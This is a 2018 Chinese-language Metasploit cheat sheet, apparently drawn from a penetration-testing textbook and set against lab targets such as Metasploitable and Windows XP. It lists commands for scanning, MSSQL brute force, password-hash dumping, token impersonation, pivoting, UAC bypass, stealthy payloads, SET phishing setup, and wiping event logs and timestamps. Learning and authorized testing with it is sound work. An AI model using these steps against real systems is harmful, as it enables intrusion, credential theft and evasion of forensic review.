Metasploit用法大全

安在信息安全新媒体 2018-01-24

Metasploit用户接口
msfconsole
Armitage: KaliGUI启动;armitage命令启动


Metasploit功能程序
msfvenom
集成了载荷生成器、载荷编码器、空指令生成器的功能
查看详细指令选项:msfvenom-h


服务器消息块协议扫描
msf>useauxiliary/scanner/smb/smb_version


搜寻配置不当的MicrosoftSQLServer
msf>useauxiliary/scanner/mssql/mssql_ping


SSH服务器扫描
msf>useauxiliary/scanner/ssh/ssh_version


FTP扫描
msf>useauxiliary/scanner/ftp/ftp_version,发现ftp服务器
msf>useauxiliary/scanner/ftp/anonymous,检查是否允许匿名登录


简单网管协议扫描
msf>useauxiliary/scanner/snmp/snmp_login


渗透攻击基础
msf>showexploits
msf>showauxiliary
msf>showoptions
msf>showpayloads
msf>showtargets
info
set和unset
setg和unsetg
save

你的第一次渗透攻击
操作机:KaliLinux
靶机:WindowsXPSP2
Step1:Nmap脚本扫描发现漏洞
Nmap脚本扫描:nmap--script=SCRIPT-NAME(脚本名)
Nmap脚本路径:/usr/share/nmap/scripts/SCRIPT-NAME.nse
Step2:使用msf,根据漏洞选择攻击模块
msf>searchMODULE_KEYWORD(模块名)
关键字通常为:漏洞编号,漏洞软件名称,msf模块名称
Step3:根据信息搜集结果,配置攻击模块,完成攻击
msf>showoptions

攻击Metasploitable主机
操作机:KaliLinux
靶机:Metasploitable2(Ubuntu8.04)
Step1:Nmap扫描发现漏洞 Nmap脚本扫描:nmap–sT–A–P0
Nmap脚本路径:/usr/share/nmap/scripts/SCRIPT-NAME.nse
Step2:使用msf,根据漏洞选择攻击模块
根据服务或软件信息,使用搜索引擎查找相关漏洞信息
msf>searchMODULE_KEYWORD
关键字通常为:漏洞编号,漏洞软件名称,msf模块名称
Step3:根据信息搜集结果,配置攻击模块,完成攻击
msf>showoptions
Metasploitable2有很多漏洞,尝试对多个漏洞进行利用

全端口攻击载荷:暴力猜解目标开放的端口
全端口攻击载荷是为了应对防火墙
当然,我们可以使用Nmap达到同样的目的,这样的载荷是为了提高自动化程度
msf>search allports

攻陷WindowsXP虚拟机
攻击路径:
使用nmap扫描端口
攻击MSSQL
暴力破解MSSQL服务
xp_cmdshell
Meterpreter基本命令
获取键盘记录


挖掘用户名和密码
提取密码哈希值
Windows系统存储哈希值的方式一般为LANManager(LM)、NTLANManager(NTLM),或NTLANManagerv2(NTLMv2)。
使用Meterpreter命令获取密码哈希值
meterpreter>usepriv
meterpreter>runpost/windows/gather/hashdump
彩虹表


传递哈希值
smb/psexec模块
使用密码哈希值进行认证,绕过密码破解


权限提升
利用低权限用户建立反向shell连接,获得Meterpreter会话
利用Meterpreter的priv扩展
meterpreter>usepriv
meterpreter>getsystem
meterpreter>getuid
这样的方法是否奏效,取决于低权限用户具有的权限
MSF会话管理
CTRL-Z
sessions–l
sessions–iSESSION_ID


令牌假冒
令牌假冒是Meterpreter最强大的功能之一,对渗透测试非常有帮助。
示例场景:你正在对某个组织进行渗透测试,成功地入侵了系统并建立了一个Meterpreter的终端,
而域管理员用户在13小时内登录过这台机器。在该用户登入这台机器的时候,
一个Kerberos令牌将会发送到服务器上(进行单点登录)并将在随后的一段时间之内有效。
你可以使用这个活动令牌来入侵系统,通过Meterpreter你可以假冒成域管理员的角色,
而不需要破解他的密码,然后你就可以去攻击域管理员账号,甚至是域控制器。
示例体现了令牌假冒的强大,也描述了使用的前置条件,
如:建立Meterpreter,启用域,受控机器上有域管理员的有效令牌,等


使用PS
盗取令牌的两种方式:1.steal_tokenPID
meterpreter>ps,获取PID
steal_tokenPID,盗取令牌2.incognito模块
有些情况下ps命令不能列出域管理员账号
meterpreter>useincognito
meterpreter>list_tokens–u
meterpreter>impersonate_tokenDOMAIN\\USERNAME


通过跳板攻击其他机器
Meterpreter进行跳板攻击
meterpreter>runget_local_subnets
msf>routeadd
通过添加路由实现跳板,依赖于攻击机与跳板机之间的Meterpreter会话,一旦会话断开,跳板将失效
使用MetasploitPro的VPN跳板
商业版本功能
接入目标内网,扩大了攻击面和可选攻击方式


使用Meterpreter脚本
迁移进程
关闭杀毒软件
获取系统密码哈希值
查看目标机上的所有流量
攫取系统信息
控制持久化

向后渗透攻击模块转变
如果想列举所有的后渗透攻击模块,可以这样输入然后在末尾按TAB键:
meterpreter>runpost/
Displayall199possibilities (yorn


将命令行shell升级为Meterpreter
sessions–u
setg命令将LPORT和LHOST参数设置为Metasploit的全局变量,而不是局限在这一个模块之内。
在使用sessions-u命令升级为Meterpreter的时候是必需的。
exploit–z,CTRL-Z


通过附加的Railgun组件操作WindowsAPI
meterpreter>irb
irbshell允许使用Ruby的语法与Meterpreter直接交互
Railgun能为你提供与Win32本地应用程序一样访问WindowsAPI的能力

msfvenom:载荷生成,载荷编码
msfvenom--help
常用参数:
msfvenom-pPAYLOADNAME--payload-options,查看载荷参数
msfvenom–f,指定载荷输出格式
msfvenom–e,指定载荷编码方式
msfvenom–l MODULENAME,列出指定类型的模块清单


隐秘地启动一个攻击载荷
msfvenom–k,配置攻击载荷在一个独立的线程中启动
这种模式下,当包含载荷的程序被启动,宿主程序也会正常运行,避免被用户察觉
-k选项不一定能用在所有的可执行程序上,在实际攻击前请确保你已经在实验环境中进行了测试


加壳软件
UPX加壳
加密,压缩
与MSF编码器的情况类似,目前,仅使用加壳,免杀效果不明显


基于浏览器的渗透攻击
基于浏览器的渗透攻击原理
HeapSpraying(堆喷/堆喷射)
关于空指令
X86:\x90
空指令滑行区+Payload
内存保护机制日益完善,单一技术手段已经不足以完成漏洞利用,但是仍可以作为漏洞利用的组成部分,其思路也值得借鉴


使用调试器揭秘空指令
目的:搞清楚空指令和汇编指令是如何执行的
OllyDbg动态调试
在Shellcode尾部设置断点
在攻击机开启监听


IE浏览器极光漏洞的利用
msf>usewindows/browser/ms10_002_aurora
载荷执行过程中,目标用户机器会变迟钝,为了防止用户关闭浏览器,导致渗透攻击中断,Meterpreter提供了一些指令
手动迁移进程:meterpreter>run migrate –f
模块高级选项:msf exploit(ms10_002_aurora)>show advanced


文件格式漏洞渗透攻击
MS11-006,在微软Windows系统函数CreateSizedDIBSECTION中存在的一个栈溢出漏洞
msf>use windows/fileformat/ms11_006_createsizeddibsection
确认攻击模块的目标系统版本:
msf exploit(ms11_006_createsizeddibsection)>show targets
此类攻击方式载荷是文档,往往需要与钓鱼攻击结合起来


发送攻击负载
邮件,下载链接
开启多线程监听
如果用户在文件夹中设置了使用缩略图(thumbnails)方式查看文件,当用户打开payload文件所在的文件夹,即可触发攻击


Metasploit辅助模块(auxiliary module)
辅助模块不使用payload,但提供了端口扫描、指纹识别、暴力猜解、Fuzz测试等很多类型的工具
msf>show auxiliary

辅助模块剖析
FoursquareAPI和自定义辅助模块
目的:查看辅助模块的内部结构,这是一个和渗透测试无关的签到工具
查看FousquareAPI文档,了解如何使用API 通过调用Metasploit框架提供的方法,使用FoursquareAPI,完成自定义模块
使用Metasploit框架进行开发能让我们将注意力集中在模块功能细节上,而不是处理大量重复的代码


配置SET工具包
项目地址:https://github.com/trustedsec/social-engineer-toolkit
配置文件:config/core/set_config
修改metasploit目录为实际目录:METASPLOIT_PATH=/usr/share/metasploit-framework
开启邮件钓鱼:WEBATTACK_EMAIL=ON
关闭自动检测:AUTO_DETECT=OFF
开启Apache攻击:APACHE_SERVER=ON

针对性钓鱼攻击向量
Spear-Phishing Attack Vectors
Abobe PDF 的Collab.collectEmailInfo漏洞
设置发件邮箱时需注意,常见邮箱的安全防护措施,如附件检测、第三方邮件客户端认证等


Web攻击向量
JavaApplet
客户端Web攻击
用户名和密码获取
标签页劫持攻击(Tabnabbing)
中间人攻击
网页劫持
综合多重攻击方法


SET的其他特性
SET的交互式shell:该交互式shell可以替换Meterpreter作为一个攻击载荷
RATTE:一个基于HTTP隧道攻击载荷,它依赖于HTTP协议进行通信,并利用了目标主机的代理设置
Web图形界面:一个完整的Web应用攻击程序,能够自动化实施上述讨论的攻击过程
无线攻击向量:在目标主机上创建一个假冒的无线热点


在MSSQL上进行命令执行
突破口:MSSQL弱口令
调用系统管理员权限的扩展存储过程xp_cmdshell,这个存储过程使得你可以在MSSQL服务的运行账户环境(通常是Local System)下执行底层操作系统命令
xp_cmdshell的激活 msf>use auxiliary/admin/mssql/mssql_exec


分析mssql_exec模块
调用Metasploit核心库的MS SQL协议模块:include Msf::Exploit::Remote::MSSQL
激活xp_cmdshell存储过程:mssql_xpcmdshell_enable
调用mssql_xpcmdshell执行操作系统命令

编写一个新的模块
PowerShell
运行Shell渗透攻击
编写Powershell_upload_exec函数
从十六进制转换回二进制程序
计数器
运行渗透攻击模块


Fuzz测试器模块
目标:使服务器端崩溃
使用Ollydbg对服务器端进行调试
根据调试结果对Fuzz字符串长度进行调整


控制结构化异常处理链
查看SEH链内容
查看导致SEH改写的堆栈内容
计算SEH覆盖发生位置:tools/pattern_offset.rb
调整Fuzz长度字符串长度


绕过SEH限制
一段任意的缓冲区填充
NOP空指令滑行区
Shellcode
近跳转
短跳转
POP-POP-RETN


获取返回地址
定位POP-POP-RETN指令序列
使用工具查找:msfpescan –p TARGETAPP.exe
用于调试攻击载荷(发送中断指令):generic/debug_trap
调整初始缓冲区长度


坏字符和远程代码执行
坏字符:导致shellcode被截断的字符
坏字符取决于攻击目标,最快的方法是从攻击目标相同/相似的渗透代码中找坏字符
http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars

分析multi_meter_inject脚本
查看命令行选项和配置语法格式
变量和函数定义,命令行选项
host_process.memory.allocate调用
隐藏启动远程进程


Meterpreter API
打印输出
基本API调用
Meterpreter Mixins


编写Meterpreter脚本的规则
只使用临时、本地和常数变量,永远不要使用全局或者类变量,因为他们可能与框架内的变量相互冲突。
使用tab键进行缩进,不要使用空格键。
对程序块来说,不要使用大括号{},使用do和end语法模式。
当声明函数时,养成在声明前进行注释,提供函数用途简要介绍的习惯。
不要使用sleep函数,使用"select(nil,nil,nil,<time>)"。
不要使用puts等其他标准的输出函数,使用print,print_line、print_status、print_error、和print_good函数。
总是包含-h选项,该选项将对脚本进行简要的功能说明,并列出所有的命令行选项。
如果你的脚本需要在特定操作系统或者Meterpreter平台运行,确保他们只能在所支持的平台上运行,并在不支持的操作系统和平台运行时报错。


创建自己的Meterpreter脚本
自定义Meterpreter脚本:execute_upload
绕过Windows用户账户控制(UAC)防护功能
msf>use exploit/windows/local/bypassuac
对已经建立的、受UAC限制的Meterpreter会话使用,建立绕过UAC限制的会话,达到提权的目的


**********************************************************************************************
*****一次模拟的渗透测试过程*****
**********************************************************************************************

*****前期交互目标信息
Windows XP
网络环境:互联网+内网
开放端口:80
Metasploitable Linux
网络环境:内网
在内网开发大量端口
目标:
控制内网中的Metasploitable主机

*****情报搜集
Nmap扫描:nmap–sT–P0
发现80端口的http服务
确认为Web服务器

*****威胁建模
手动测试/工具测试
手动测试是否存在SQL注入漏洞
确定攻击路径

*****渗透攻击
根据攻击建模结果选择方式或工具
Sqlmap利用MSSQL注入漏洞
获取注入点,用于MSF终端中的渗透攻击

*****MSF终端中的渗透攻击过程
msf>use exploit/windows/mssql/mssql_payload_sqli
完成Meterpreter Shell植入

*****后渗透攻击
扫描Metasploitable靶机
在跳板机上使用nmap扫描内网
识别存有漏洞的服务
根据端口扫描结果,使用msf辅助模块中针对特定服务的扫描器

*****攻击Postgresql数据库服务
根据扫描结果,确认存在Postresql服务及端口号
搜索msf中与Postgresql相关的模块
选择合适的模块进行渗透攻击,这一过程需要尝试,并不是每一个查找到的模块都能成功利用
弱口令字典:
Wordlists

*****攻击一个偏门的服务
根据扫描结果,目标提供IRC服务
遇到不熟悉的应用或服务,在攻击前需要更多的时间进行深入研究
通过MSF的攻击模块查找、exploit-db、搜索引擎等对目标服务的进行研究,查找可能存在的漏洞信息

*****隐藏你的踪迹
修改时间戳:meterpreter>timestomp
修改事件日志:meterpreter>runevent_manager
流行的取证分析工具:Encase
记录下攻击过程对目标系统进行了哪些修改,可以更容易地隐藏踪迹

相关推荐

wdeo0 / 0评论 2013-12-10